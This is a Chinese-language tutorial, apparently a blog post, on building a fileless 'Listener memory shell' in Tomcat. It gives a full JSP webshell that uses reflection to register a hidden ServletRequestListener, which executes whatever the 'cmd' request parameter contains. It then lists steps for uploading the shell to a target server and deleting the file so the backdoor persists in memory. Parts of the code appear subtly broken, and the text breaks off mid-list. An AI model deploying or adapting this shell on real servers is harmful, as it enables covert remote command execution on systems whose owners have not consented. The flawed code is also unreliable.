1. 基本概念
Listener(监听器) 是 Java Web 应用中的组件,用于监听 Web 应用生命周期或作用域对象(如 Session、Request)的变化,并在事件发生时自动执行回调逻辑。
常见的 Listener 类型:
-
ServletContextListener:监听 Web 应用的启动和销毁
-
HttpSessionListener:监听 Session 的创建与销毁
-
ServletRequestListener:监听请求的创建与销毁
Listener 内存马 的原理:
-
在运行时动态注册一个恶意 Listener
-
借助 Listener 生命周期回调(例如请求创建)作为触发点
-
实现任意代码执行或请求劫持
ServletRequestListener 的生命周期

2. Listener 装载流程(开发者视角)
2.1 定义 Listener
package com.example.memshell; import jakarta.servlet.ServletContextEvent; import jakarta.servlet.ServletContextListener; public class MyListener implements ServletContextListener { @Override public void contextInitialized(ServletContextEvent sce) { System.out.println("Web 应用启动!"); } @Override public void contextDestroyed(ServletContextEvent sce) { System.out.println("Web 应用销毁!"); } }
2.2 配置 web.xml
<listener> <listener-class>com.example.memshell.MyListener</listener-class> </listener>
2.3 Tomcat 加载
-
启动时,Tomcat 解析
web.xml -
创建并注册
MyListener -
在应用启动/关闭时触发对应的回调方法
3. Tomcat Listener 加载流程(容器内部机制)
3.1 Web 应用启动
-
Tomcat 在解析
web.xml时,遇到<listener>节点 -
调用
StandardContext.addApplicationListener()注册
3.2 Listener 存储
-
Listener 被封装成
ApplicationListener对象 -
存放在
StandardContext.applicationListeners列表中
3.3 事件触发
-
当容器或作用域对象发生事件时,Tomcat 遍历 Listener 列表
-
调用对应回调方法(如
contextInitialized、requestDestroyed等)
4. 内存马实现机制
实现步骤:
-
定义恶意 Listener(例如请求时执行命令)
-
获取 StandardContext(与前两篇方法相同,通过反射)
-
调用 addApplicationListener() 注册恶意 Listener
-
等待事件触发,即可在请求到达时或 Session 创建时执行恶意逻辑
5. 示例代码(JSP Listener 内存马)
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="javax.servlet.*" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
// 恶意 Listener
public class ShellListener implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
try {
String cmd = sre.getServletRequest().getParameter("cmd");
if (cmd != null) {
Process proc = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(
new InputStreamReader(proc.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
sre.getServletRequest().getServletContext()
.getResponse().getWriter().println(line);
}
br.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {}
}
%>
<%
// 1. 获取 StandardContext
ServletContext servletContext = request.getServletContext();
Field appCtxField = servletContext.getClass().getDeclaredField("context");
appCtxField.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext) appCtxField.get(servletContext);
Field stdCtxField = appCtx.getClass().getDeclaredField("context");
stdCtxField.setAccessible(true);
StandardContext standardContext = (StandardContext) stdCtxField.get(appCtx);
// 2. 注册恶意 Listener
standardContext.addApplicationListener(ShellListener.class.getName());
%>
6. 触发步骤
-
上传 JSP 木马至目标服务器
-
访问 JSP 文件 → 动态注册恶意 Listener
-
触发事件:
-
请求到达时(
ServletRequestListener) -
或 Session 创建时(
HttpSessionListener)
-
-
恶意逻辑执行,例如命令执行或请求劫持
-
(可选)删除 JSP 文件,Listener 仍然存在
7. 总结
-
Listener 内存马 通过 事件回调 机制触发恶意逻辑
-
与 Servlet/Filter 内存马不同:
-
Servlet:绑定 URL,显式访问触发
-
Filter:请求链入口,所有请求都会过
-
Listener:事件驱动,被动触发,更加隐蔽
-
-
关键 API:
StandardContext.addApplicationListener() -
优势



